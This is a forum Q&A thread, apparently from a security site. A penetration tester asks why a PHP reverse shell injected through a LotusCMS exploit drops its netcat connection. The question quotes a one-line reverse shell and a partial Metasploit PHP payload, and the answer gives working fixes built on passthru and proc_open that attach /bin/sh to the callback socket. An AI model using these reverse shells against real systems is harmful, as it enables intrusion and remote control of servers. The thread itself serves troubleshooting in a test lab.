3

Whilst performing a penetration test on a testing box, I came across a vulnerability regarding LotusCMS: https://www.exploit-db.com/exploits/18565

Rather than rely on Metasploit or Meterpreter to carry out this exploit, I read the Metasploit code and determined exactly how it was exploiting the parameter within the web page. Upon trying to use the inline PHP code (with a netcat lister on my attacking box):

sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");

The shell connects to the netcat listener but is then instantly dropped.

Can anyone explain why netcat drops the reverse shell?

Admitently my knowledge of the stdin, stdout and stderr is non-existent? Could this be something to be with the dropping of the connection?

I also use base64 on the inline reverse shell script above (not sure if this affects anything).

Thanks in Advance!

This is the code from the Metasploit payload (decoded from base64):

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input 
6
  • The first thing I would check is which side is actually closing the connection. Is it netcat or is it the lotus CMS which you're exploiting? you can figure this out by running a Wireshark capture and seeing which side actually sends the RST to initiate closure of the connection.
    – Daisetsu
    CommentedDec 2, 2018 at 19:10
  • From what I can tell, it appears that the victim host (the system with LotusCMS installed) is the first system to send a FIN, ACK. Does this suggest that the victim host is closing the reverse shell? I have tried to add a PHP sleep() function to the end of my injected code to see if I can get the connection to stay live (this was a stab in the dark - another potentially frivolous effort).
    – Sn00py
    CommentedDec 2, 2018 at 19:47
  • In that case I would also assume the 'victim' is closing the connection. There's probably something more that the metasploit exploit is doing that you're missing.
    – Daisetsu
    CommentedDec 2, 2018 at 19:49
  • That is the base64 decoded php shell that metasploit sends (found in wireshark) - naturally it's a lot more complicated than the simple one liner that I used. Even when substituting this into my POST command the shell connects (no drop), but as soon as a command is written the connection drops.
    – Sn00py
    CommentedDec 2, 2018 at 20:06
  • If you're going to post code, please edit your original question and put it there with the code tag for formatting.
    – Daisetsu
    CommentedDec 2, 2018 at 20:06

1 Answer 1

6

You are executing on a server:

$sock=fsockopen("127.0.0.1",1234); exec("/bin/sh -i <&3 >&3 2>&3"); 

while at the same time you have a netcat listening on 1234.

First issue I see, your server code is:

  • connecting to ip:port
  • running /bin/sh -i with input and output redirected to the fd 3 and returning the last line (don't confuse php exec with shell/C exec).

Now, if the connection opened had the fd 3, the shell will attach to that descriptor. The next descriptor to open may be fd 3. However, if it is already opened the new connection will have a different descriptor and your shell won't be plugged where you want. For instance, the above code works for mi when running php on a cli, but not when php is running as an apache module (there the socket is the fd 12 for me)

We can use this longer command to find out the highest-level file descriptor and use it in the redirection:

 passthru('FD=`ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done`; /bin/sh -i <&$FD >&3 2>&$FD'); 

However, this has a drawback in that the shell can only redirect descriptors 1-9 so with descriptor 12, "<&12" would actually be attempting to redirect descriptor 1, not 12. And it being a socket, we can't open a new descriptor to /dev/self/fd/12 (No such device or address)

Thus, rather than attaching to the filedescriptor to the in shell script, it's much easier to do that from the php side by using a different function for running the command:

$sock = fsockopen("127.0.0.1",1234); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); 

Interestingly, the shell stays open even after the enclosing script finishes, so php max_execution_time isn't an issue.

5
  • Thank you so much for the detailed explanation. I assume the second piece of python code is establishing a bind shell on the local web server (with the input and output of that being fed into a file descriptor asscoaited with the socket?) as appose to a reverse shell?
    – Sn00py
    CommentedDec 8, 2018 at 12:05
  • 1
    You deserve a medal for this answer. I've had a number of shells die and never took the time to figure this out. :/
    – SomeGuy
    CommentedMay 20, 2020 at 4:44
  • 1
    You're welcome @SomeGuy. It's nice to see that people still find old answers useful.
    – Ángel
    CommentedMay 27, 2020 at 21:39
  • 2022 and still finding this useful. Thanks @Ángel!CommentedJun 1, 2022 at 22:11
  • 1
    Happy that it is, @JoãoCiocca :)
    – Ángel
    CommentedJun 27, 2022 at 0:10

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.